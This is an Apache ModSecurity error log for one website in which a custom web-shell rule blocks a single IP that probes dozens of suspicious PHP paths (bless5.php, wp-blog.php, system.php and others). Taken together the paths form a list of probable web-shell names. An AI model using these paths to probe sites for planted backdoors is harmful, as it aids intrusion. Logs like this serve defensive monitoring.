[Sun Apr 26 05:07:33.064969 2026] [:error] [pid 8383:tid 8418] [client 20.199.180.228:14452] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless5.php"] [unique_id "ae0tFdFa2S3EsATMdWOzKwAAABU"]
[Sun Apr 26 05:07:33.574570 2026] [:error] [pid 8383:tid 8405] [client 20.199.180.228:65425] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless5.php"] [unique_id "ae0tFdFa2S3EsATMdWOzLgAAAAg"]
[Sun Apr 26 05:07:34.157946 2026] [:error] [pid 8383:tid 8408] [client 20.199.180.228:65428] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless5.php"] [unique_id "ae0tFtFa2S3EsATMdWOzMAAAAAs"]
[Sun Apr 26 05:07:34.695790 2026] [:error] [pid 8385:tid 8436] [client 20.199.180.228:14537] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "ae0tFjOy7_J84Wx3-oxT-wAAAEw"]
[Sun Apr 26 05:07:35.271651 2026] [:error] [pid 8390:tid 8473] [client 20.199.180.228:65349] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "ae0tF4GPtFK_i9p5yxQEbwAAAJY"]
[Sun Apr 26 05:07:35.858112 2026] [:error] [pid 8385:tid 8447] [client 20.199.180.228:10224] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "ae0tFzOy7_J84Wx3-oxT_gAAAFc"]
[Sun Apr 26 05:07:36.462322 2026] [:error] [pid 31273:tid 31336] [client 20.199.180.228:14359] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "ae0tGPhcNJEGrATcuEew6gAAAUE"]
[Sun Apr 26 05:07:37.049582 2026] [:error] [pid 8491:tid 8514] [client 20.199.180.228:65362] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "ae0tGSq7I7e6CJooQM1_nQAAAM8"]
[Sun Apr 26 05:07:37.599746 2026] [:error] [pid 8385:tid 8448] [client 20.199.180.228:10123] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "ae0tGTOy7_J84Wx3-oxUAQAAAFg"]
[Sun Apr 26 05:07:52.001034 2026] [:error] [pid 8390:tid 8471] [client 20.199.180.228:10162] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "ae0tJ4GPtFK_i9p5yxQEhAAAAJQ"]
[Sun Apr 26 05:07:52.533837 2026] [:error] [pid 8385:tid 8424] [client 20.199.180.228:65401] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "ae0tKDOy7_J84Wx3-oxUBwAAAEA"]
[Sun Apr 26 05:07:53.085620 2026] [:error] [pid 41906:tid 41918] [client 20.199.180.228:14386] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "ae0tKT3-0A3lxw9OXoDtfQAAAYo"]
[Sun Apr 26 05:07:53.639176 2026] [:error] [pid 41906:tid 41930] [client 20.199.180.228:65357] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "ae0tKT3-0A3lxw9OXoDtfgAAAZY"]
[Sun Apr 26 05:07:54.199419 2026] [:error] [pid 41906:tid 41908] [client 20.199.180.228:65373] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asas.php"] [unique_id "ae0tKj3-0A3lxw9OXoDtgAAAAYA"]
[Sun Apr 26 05:07:54.913744 2026] [:error] [pid 41906:tid 41927] [client 20.199.180.228:14529] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asas.php"] [unique_id "ae0tKj3-0A3lxw9OXoDtggAAAZM"]
[Sun Apr 26 05:07:55.418592 2026] [:error] [pid 41906:tid 41922] [client 20.199.180.228:65363] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asas.php"] [unique_id "ae0tKz3-0A3lxw9OXoDtgwAAAY4"]
[Sun Apr 26 05:07:55.905116 2026] [:error] [pid 10315:tid 10327] [client 20.199.180.228:10200] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asas.php"] [unique_id "ae0tK6JIw2vjkleLIaB8wQAAAQo"]
[Sun Apr 26 05:07:56.431296 2026] [:error] [pid 31273:tid 31347] [client 20.199.180.228:65445] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "ae0tLPhcNJEGrATcuEexEQAAAUk"]
[Sun Apr 26 05:07:57.091068 2026] [:error] [pid 31273:tid 31342] [client 20.199.180.228:65366] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "ae0tLfhcNJEGrATcuEexEgAAAUU"]
[Sun Apr 26 05:07:57.656009 2026] [:error] [pid 8491:tid 8509] [client 20.199.180.228:65440] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "ae0tLSq7I7e6CJooQM1_rgAAAMo"]
[Sun Apr 26 05:07:58.267832 2026] [:error] [pid 8491:tid 8499] [client 20.199.180.228:65431] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class19.php"] [unique_id "ae0tLiq7I7e6CJooQM1_sQAAAMA"]
[Sun Apr 26 05:07:59.381521 2026] [:error] [pid 10315:tid 10320] [client 20.199.180.228:10167] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "ae0tL6JIw2vjkleLIaB8ywAAAQM"]
[Sun Apr 26 05:07:59.933978 2026] [:error] [pid 10315:tid 10337] [client 20.199.180.228:10208] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "ae0tL6JIw2vjkleLIaB80AAAARQ"]
[Sun Apr 26 05:08:00.586821 2026] [:error] [pid 8390:tid 8474] [client 20.199.180.228:65443] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "ae0tMIGPtFK_i9p5yxQEiwAAAJc"]
[Sun Apr 26 05:08:01.142092 2026] [:error] [pid 41906:tid 41909] [client 20.199.180.228:65348] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "ae0tMT3-0A3lxw9OXoDthgAAAYE"]
[Sun Apr 26 05:08:01.744102 2026] [:error] [pid 8491:tid 8521] [client 20.199.180.228:10226] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wuasr.php"] [unique_id "ae0tMSq7I7e6CJooQM1_vQAAANY"]
[Sun Apr 26 05:08:02.328478 2026] [:error] [pid 8491:tid 8520] [client 20.199.180.228:65424] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wuasr.php"] [unique_id "ae0tMiq7I7e6CJooQM1_vgAAANU"]
[Sun Apr 26 05:08:02.942390 2026] [:error] [pid 10315:tid 10317] [client 20.199.180.228:65466] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wuasr.php"] [unique_id "ae0tMqJIw2vjkleLIaB83AAAAQA"]
[Sun Apr 26 05:08:03.490555 2026] [:error] [pid 8491:tid 8511] [client 20.199.180.228:65421] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wuasr.php"] [unique_id "ae0tMyq7I7e6CJooQM1_wQAAAMw"]
[Sun Apr 26 05:08:04.052306 2026] [:error] [pid 10315:tid 10328] [client 20.199.180.228:65458] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lala.php"] [unique_id "ae0tNKJIw2vjkleLIaB84AAAAQs"]
[Sun Apr 26 05:08:04.556701 2026] [:error] [pid 10315:tid 10324] [client 20.199.180.228:65416] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lala.php"] [unique_id "ae0tNKJIw2vjkleLIaB84gAAAQc"]
[Sun Apr 26 05:08:05.090842 2026] [:error] [pid 10315:tid 10336] [client 20.199.180.228:65358] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lala.php"] [unique_id "ae0tNaJIw2vjkleLIaB85AAAARM"]
[Sun Apr 26 05:08:05.587958 2026] [:error] [pid 8491:tid 8505] [client 20.199.180.228:14540] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lala.php"] [unique_id "ae0tNSq7I7e6CJooQM1_xAAAAMY"]
[Sun Apr 26 05:08:06.169920 2026] [:error] [pid 31273:tid 31353] [client 20.199.180.228:65380] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sko.php"] [unique_id "ae0tNvhcNJEGrATcuEexJAAAAU4"]
[Sun Apr 26 05:08:06.733475 2026] [:error] [pid 41906:tid 41929] [client 20.199.180.228:65382] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sko.php"] [unique_id "ae0tNj3-0A3lxw9OXoDtiQAAAZU"]
[Sun Apr 26 05:08:07.243160 2026] [:error] [pid 8390:tid 8469] [client 20.199.180.228:14547] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sko.php"] [unique_id "ae0tN4GPtFK_i9p5yxQEjwAAAJI"]
[Sun Apr 26 05:08:07.774270 2026] [:error] [pid 8491:tid 8506] [client 20.199.180.228:65369] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sko.php"] [unique_id "ae0tNyq7I7e6CJooQM1_xgAAAMc"]
[Sun Apr 26 05:08:08.294916 2026] [:error] [pid 8390:tid 8452] [client 20.199.180.228:65370] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new4.php"] [unique_id "ae0tOIGPtFK_i9p5yxQEkwAAAIE"]
[Sun Apr 26 05:08:08.767852 2026] [:error] [pid 41906:tid 41918] [client 20.199.180.228:65371] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new4.php"] [unique_id "ae0tOD3-0A3lxw9OXoDtjAAAAYo"]
[Sun Apr 26 05:08:09.294828 2026] [:error] [pid 41906:tid 41927] [client 20.199.180.228:14543] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new4.php"] [unique_id "ae0tOT3-0A3lxw9OXoDtkgAAAZM"]
[Sun Apr 26 05:08:09.876083 2026] [:error] [pid 10315:tid 10333] [client 20.199.180.228:65451] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new4.php"] [unique_id "ae0tOaJIw2vjkleLIaB86QAAARA"]
[Sun Apr 26 05:08:10.425607 2026] [:error] [pid 10315:tid 10317] [client 20.199.180.228:10204] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/myfile.php"] [unique_id "ae0tOqJIw2vjkleLIaB86wAAAQA"]
[Sun Apr 26 05:08:10.995741 2026] [:error] [pid 8383:tid 8415] [client 20.199.180.228:65354] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/myfile.php"] [unique_id "ae0tOtFa2S3EsATMdWOzPQAAABI"]
[Sun Apr 26 05:08:11.548034 2026] [:error] [pid 8383:tid 8421] [client 20.199.180.228:10180] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/myfile.php"] [unique_id "ae0tO9Fa2S3EsATMdWOzPgAAABg"]
[Sun Apr 26 05:08:12.076364 2026] [:error] [pid 8383:tid 8397] [client 20.199.180.228:14506] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/myfile.php"] [unique_id "ae0tPNFa2S3EsATMdWOzQgAAAAA"]
[Sun Apr 26 05:08:12.624899 2026] [:error] [pid 8383:tid 8408] [client 20.199.180.228:65470] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fileas.php"] [unique_id "ae0tPNFa2S3EsATMdWOzQwAAAAs"]
[Sun Apr 26 05:08:13.208085 2026] [:error] [pid 41906:tid 41911] [client 20.199.180.228:65374] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fileas.php"] [unique_id "ae0tPT3-0A3lxw9OXoDtlQAAAYM"]
[Sun Apr 26 05:08:13.689399 2026] [:error] [pid 10315:tid 10337] [client 20.199.180.228:65461] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fileas.php"] [unique_id "ae0tPaJIw2vjkleLIaB88QAAARQ"]
[Sun Apr 26 05:08:14.236294 2026] [:error] [pid 8385:tid 8446] [client 20.199.180.228:65465] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fileas.php"] [unique_id "ae0tPjOy7_J84Wx3-oxUCQAAAFY"]
[Sun Apr 26 05:08:14.786428 2026] [:error] [pid 8491:tid 8519] [client 20.199.180.228:10138] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "ae0tPiq7I7e6CJooQM1_yQAAANQ"]
[Sun Apr 26 05:08:15.365295 2026] [:error] [pid 8385:tid 8439] [client 20.199.180.228:10234] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "ae0tPzOy7_J84Wx3-oxUCwAAAE8"]
[Sun Apr 26 05:08:16.033855 2026] [:error] [pid 10315:tid 10334] [client 20.199.180.228:14375] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "ae0tQKJIw2vjkleLIaB89AAAARE"]
[Sun Apr 26 05:08:16.551203 2026] [:error] [pid 10315:tid 10330] [client 20.199.180.228:14555] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "ae0tQKJIw2vjkleLIaB89wAAAQ0"]
[Sun Apr 26 05:08:17.179606 2026] [:error] [pid 41906:tid 41930] [client 20.199.180.228:65467] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "ae0tQT3-0A3lxw9OXoDtngAAAZY"]
[Sun Apr 26 05:08:17.703531 2026] [:error] [pid 31273:tid 31363] [client 20.199.180.228:65400] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "ae0tQfhcNJEGrATcuEexMQAAAVg"]
[Sun Apr 26 05:08:18.489596 2026] [:error] [pid 41906:tid 41917] [client 20.199.180.228:14573] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "ae0tQj3-0A3lxw9OXoDtpwAAAYk"]
